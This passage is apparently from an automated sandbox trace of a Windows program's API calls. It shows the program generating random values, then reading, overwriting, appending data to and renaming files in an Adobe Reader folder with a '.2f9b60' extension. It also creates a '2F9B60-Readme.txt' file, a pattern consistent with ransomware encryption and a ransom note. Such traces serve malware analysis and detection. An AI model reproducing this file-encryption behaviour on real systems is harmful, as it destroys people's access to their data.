Seed=0x3319fad0) returned 0x6c8e237f [0156.136] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0x29df77cf [0156.136] RtlRandomEx (in: Seed=0x3319fad0 | out: Seed=0x3319fad0) returned 0xb49c3e1 [0156.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf00 [0156.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce247a0 [0156.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf30 [0156.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce247a0) returned 1 [0156.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbed0) returned 1 [0156.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe10) returned 1 [0156.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18a00 [0156.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce247a0 [0156.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe10 [0156.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe10) returned 1 [0156.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429e6280 [0156.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429e9e90 [0156.153] ReadFile (in: hFile=0xeb0, lpBuffer=0x429e6280, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x3319fad0, lpOverlapped=0x0 | out: lpBuffer=0x429e6280*, lpNumberOfBytesRead=0x3319fad0*=0x1e00, lpOverlapped=0x0) returned 1 [0156.157] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.157] WriteFile (in: hFile=0xeb0, lpBuffer=0x429e9e90*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x3319fad4, lpOverlapped=0x0 | out: lpBuffer=0x429e9e90*, lpNumberOfBytesWritten=0x3319fad4*=0x1e00, lpOverlapped=0x0) returned 1 [0162.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19830 [0162.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19860 [0162.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19860) returned 1 [0162.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429e9e90) returned 1 [0162.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429e6280) returned 1 [0162.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce247a0) returned 1 [0162.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18a00) returned 1 [0162.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19860 [0162.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18a00 [0162.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce247a0 [0162.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19890 [0162.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19890) returned 1 [0162.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19890 [0162.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c198c0 [0162.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c198f0 [0162.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c198f0) returned 1 [0162.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce247a0) returned 1 [0162.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18a00) returned 1 [0162.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c173b0 [0162.936] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.936] WriteFile (in: hFile=0xeb0, lpBuffer=0x42c173b0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3319fbf0, lpOverlapped=0x0 | out: lpBuffer=0x42c173b0*, lpNumberOfBytesWritten=0x3319fbf0*=0x108, lpOverlapped=0x0) returned 1 [0164.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbde0 [0164.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbde0) returned 1 [0164.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d180 [0164.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbde0 [0164.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbdb0 [0164.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbdb0) returned 1 [0164.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9efb0 [0164.862] sprintf (in: _Dest=0x1cd9efb0, _Format="%c%c" | out: _Dest="f1") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efb2, _Format="%c%c" | out: _Dest="43") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efb4, _Format="%c%c" | out: _Dest="8c") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efb6, _Format="%c%c" | out: _Dest="2f") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efb8, _Format="%c%c" | out: _Dest="92") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efba, _Format="%c%c" | out: _Dest="7e") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efbc, _Format="%c%c" | out: _Dest="f5") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efbe, _Format="%c%c" | out: _Dest="c8") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efc0, _Format="%c%c" | out: _Dest="63") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efc2, _Format="%c%c" | out: _Dest="6e") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efc4, _Format="%c%c" | out: _Dest="c3") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efc6, _Format="%c%c" | out: _Dest="dd") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efc8, _Format="%c%c" | out: _Dest="a0") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efca, _Format="%c%c" | out: _Dest="c6") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efcc, _Format="%c%c" | out: _Dest="cb") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efce, _Format="%c%c" | out: _Dest="07") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efd0, _Format="%c%c" | out: _Dest="e8") returned 2 [0164.862] sprintf (in: _Dest=0x1cd9efd2, _Format="%c%c" | out: _Dest="30") returned 2 [0164.863] sprintf (in: _Dest=0x1cd9efd4, _Format="%c%c" | out: _Dest="d5") returned 2 [0164.863] sprintf (in: _Dest=0x1cd9efd6, _Format="%c%c" | out: _Dest="1f") returned 2 [0164.863] sprintf (in: _Dest=0x1cd9efd8, _Format="%c%c" | out: _Dest="c0") returned 2 [0164.863] sprintf (in: _Dest=0x1cd9efda, _Format="%c%c" | out: _Dest="07") returned 2 [0164.863] RtlInitAnsiString (in: DestinationString=0x3319fc68, SourceString="f1438c2f927ef5c8636ec3dda0c6cb07e830d51fc007" | out: DestinationString="f1438c2f927ef5c8636ec3dda0c6cb07e830d51fc007") [0164.863] RtlAnsiStringToUnicodeString (in: DestinationString=0x3319fc38, SourceString="f1438c2f927ef5c8636ec3dda0c6cb07e830d51fc007", AllocateDestinationString=1 | out: DestinationString="f1438c2f927ef5c8636ec3dda0c6cb07e830d51fc007") returned 0x0 [0164.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e6b0 [0164.863] RtlFreeAnsiString (AnsiString="f") [0164.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9efb0) returned 1 [0164.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbde0) returned 1 [0164.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c173b0) returned 1 [0164.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19890) returned 1 [0164.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c198c0) returned 1 [0164.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19860) returned 1 [0164.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19830) returned 1 [0164.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbea0) returned 1 [0164.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbf00) returned 1 [0164.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbf30) returned 1 [0164.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1cdb60b0 [0164.866] wcscat (in: _Dest=0x1cdb60b0, _Source="f1438c2f927" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\f1438c2f927") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\f1438c2f927" [0164.866] wcscat (in: _Dest=0x1cdb60b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\f1438c2f927.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\f1438c2f927.2f9b60" [0164.866] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\f1438c2f927.2f9b60", NtPathName=0x3319fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\f1438c2f927.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c365d0 [0165.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c365d0) returned 1 [0165.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c33670) returned 1 [0165.029] NtQueryInformationFile (in: FileHandle=0xeb0, IoStatusBlock=0x3319fc78, FileInformation=0x3319fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3319fc78, FileInformation=0x3319fc88) returned 0x0 [0165.029] NtSetInformationFile (FileHandle=0xeb0, IoStatusBlock=0x3319fc78, FileInformation=0x3319fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb60b0) returned 1 [0165.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e6b0) returned 1 [0165.063] FlushFileBuffers (hFile=0xeb0) returned 1 [0166.264] CloseHandle (hObject=0xeb0) returned 1 [0183.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad700 [0183.933] wcscpy (in: _Dest=0x1b7ad700, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0183.933] wcscat (in: _Dest=0x1b7ad700, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt" [0183.933] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\2f9b60-readme.txt")) returned 0xffffffff [0183.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0240.092] WriteFile (hFile=0x548, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3319fb30, lpOverlapped=0x0) Thread: id = 2588 os_tid = 0x20dc [0156.159] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cht")) returned 0x20 [0156.193] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHT", dwFileAttributes=0x20) returned 1 [0156.194] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cht"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xef4 [0156.195] GetFileSizeEx (in: hFile=0xef4, lpFileSize=0x332efc80 | out: lpFileSize=0x332efc80*=7680) returned 1 [0156.195] SetFilePointerEx (in: hFile=0xef4, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.195] ReadFile (in: hFile=0xef4, lpBuffer=0x332efc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x332efc48, lpOverlapped=0x0 | out: lpBuffer=0x332efc00*, lpNumberOfBytesRead=0x332efc48*=0x4, lpOverlapped=0x0) returned 1 [0156.196] SetFilePointerEx (in: hFile=0xef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbed0 [0156.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf90 [0156.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc020 [0156.197] NtQuerySystemTime (in: CurrentTime=0x332efb40 | out: CurrentTime=0x332efb40*=132462177613270000) returned 0x0 [0156.197] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x2c25df4c [0156.197] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x73d7ecfe [0156.197] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x7095e54d [0156.197] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x56978e1a [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x35588bce [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x2edc47a1 [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x4980e68e [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x6404f892 [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x1b08b225 [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x19de3ffe [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x1cb90457 [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x5fc016c9 [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x2e7c7b6b [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x226f856b [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x2b5c3b3 [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x558c37dd [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x5d43bebb [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x3fdfab52 [0156.198] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x318ce627 [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x2221f46b [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x3489db91 [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x3a594fb1 [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x66bdc132 [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x74dfe008 [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x144d66b [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x52b44af5 [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x7c6dc25a [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x14c3fec7 [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x1fe05cea [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0xd38a75e [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0xc73890c [0156.199] RtlRandomEx (in: Seed=0x332efb30 | out: Seed=0x332efb30) returned 0x34b4660 [0156.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc050 [0156.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24820 [0156.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc080 [0156.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24820) returned 1 [0156.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc020) returned 1 [0156.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbed0) returned 1 [0156.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18a50 [0156.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24820 [0156.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbed0 [0156.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbed0) returned 1 [0156.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429f52c0 [0156.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429f8ed0 [0156.213] ReadFile (in: hFile=0xef4, lpBuffer=0x429f52c0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x332efb30, lpOverlapped=0x0 | out: lpBuffer=0x429f52c0*, lpNumberOfBytesRead=0x332efb30*=0x1e00, lpOverlapped=0x0) returned 1 [0156.216] SetFilePointerEx (in: hFile=0xef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.216] WriteFile (in: hFile=0xef4, lpBuffer=0x429f8ed0*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x332efb34, lpOverlapped=0x0 | out: lpBuffer=0x429f8ed0*, lpNumberOfBytesWritten=0x332efb34*=0x1e00, lpOverlapped=0x0) returned 1 [0162.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c198f0 [0162.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19920 [0162.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19920) returned 1 [0162.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429f8ed0) returned 1 [0162.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429f52c0) returned 1 [0162.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24820) returned 1 [0162.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18a50) returned 1 [0162.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19920 [0162.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18a50 [0162.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24820 [0162.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19950 [0162.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19950) returned 1 [0162.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19950 [0162.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19980 [0162.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c199b0 [0162.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c199b0) returned 1 [0162.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24820) returned 1 [0162.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18a50) returned 1 [0162.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c174c0 [0162.945] SetFilePointerEx (in: hFile=0xef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.945] WriteFile (in: hFile=0xef4, lpBuffer=0x42c174c0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x332efc50, lpOverlapped=0x0 | out: lpBuffer=0x42c174c0*, lpNumberOfBytesWritten=0x332efc50*=0x108, lpOverlapped=0x0) returned 1 [0164.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf30 [0164.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbf30) returned 1 [0164.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d180 [0164.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf30 [0164.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf00 [0164.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbf00) returned 1 [0164.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9efb0 [0164.870] sprintf (in: _Dest=0x1cd9efb0, _Format="%c%c" | out: _Dest="56") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efb2, _Format="%c%c" | out: _Dest="29") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efb4, _Format="%c%c" | out: _Dest="7c") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efb6, _Format="%c%c" | out: _Dest="51") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efb8, _Format="%c%c" | out: _Dest="0b") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efba, _Format="%c%c" | out: _Dest="10") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efbc, _Format="%c%c" | out: _Dest="20") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efbe, _Format="%c%c" | out: _Dest="25") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efc0, _Format="%c%c" | out: _Dest="13") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efc2, _Format="%c%c" | out: _Dest="34") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efc4, _Format="%c%c" | out: _Dest="5c") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efc6, _Format="%c%c" | out: _Dest="a9") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efc8, _Format="%c%c" | out: _Dest="2f") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efca, _Format="%c%c" | out: _Dest="d7") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efcc, _Format="%c%c" | out: _Dest="53") returned 2 [0164.870] sprintf (in: _Dest=0x1cd9efce, _Format="%c%c" | out: _Dest="74") returned 2 [0164.871] sprintf (in: _Dest=0x1cd9efd0, _Format="%c%c" | out: _Dest="da") returned 2 [0164.871] sprintf (in: _Dest=0x1cd9efd2, _Format="%c%c" | out: _Dest="fa") returned 2 [0164.871] sprintf (in: _Dest=0x1cd9efd4, _Format="%c%c" | out: _Dest="0c") returned 2 [0164.871] sprintf (in: _Dest=0x1cd9efd6, _Format="%c%c" | out: _Dest="87") returned 2 [0164.871] sprintf (in: _Dest=0x1cd9efd8, _Format="%c%c" | out: _Dest="c4") returned 2 [0164.871] sprintf (in: _Dest=0x1cd9efda, _Format="%c%c" | out: _Dest="14") returned 2 [0164.871] RtlInitAnsiString (in: DestinationString=0x332efcc8, SourceString="56297c510b10202513345ca92fd75374dafa0c87c414" | out: DestinationString="56297c510b10202513345ca92fd75374dafa0c87c414") [0164.871] RtlAnsiStringToUnicodeString (in: DestinationString=0x332efc98, SourceString="56297c510b10202513345ca92fd75374dafa0c87c414", AllocateDestinationString=1 | out: DestinationString="56297c510b10202513345ca92fd75374dafa0c87c414") returned 0x0 [0164.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce14dc0 [0164.871] RtlFreeAnsiString (AnsiString="5") [0164.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9efb0) returned 1 [0164.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbf30) returned 1 [0164.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c174c0) returned 1 [0164.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19950) returned 1 [0164.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19980) returned 1 [0164.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19920) returned 1 [0164.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c198f0) returned 1 [0164.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 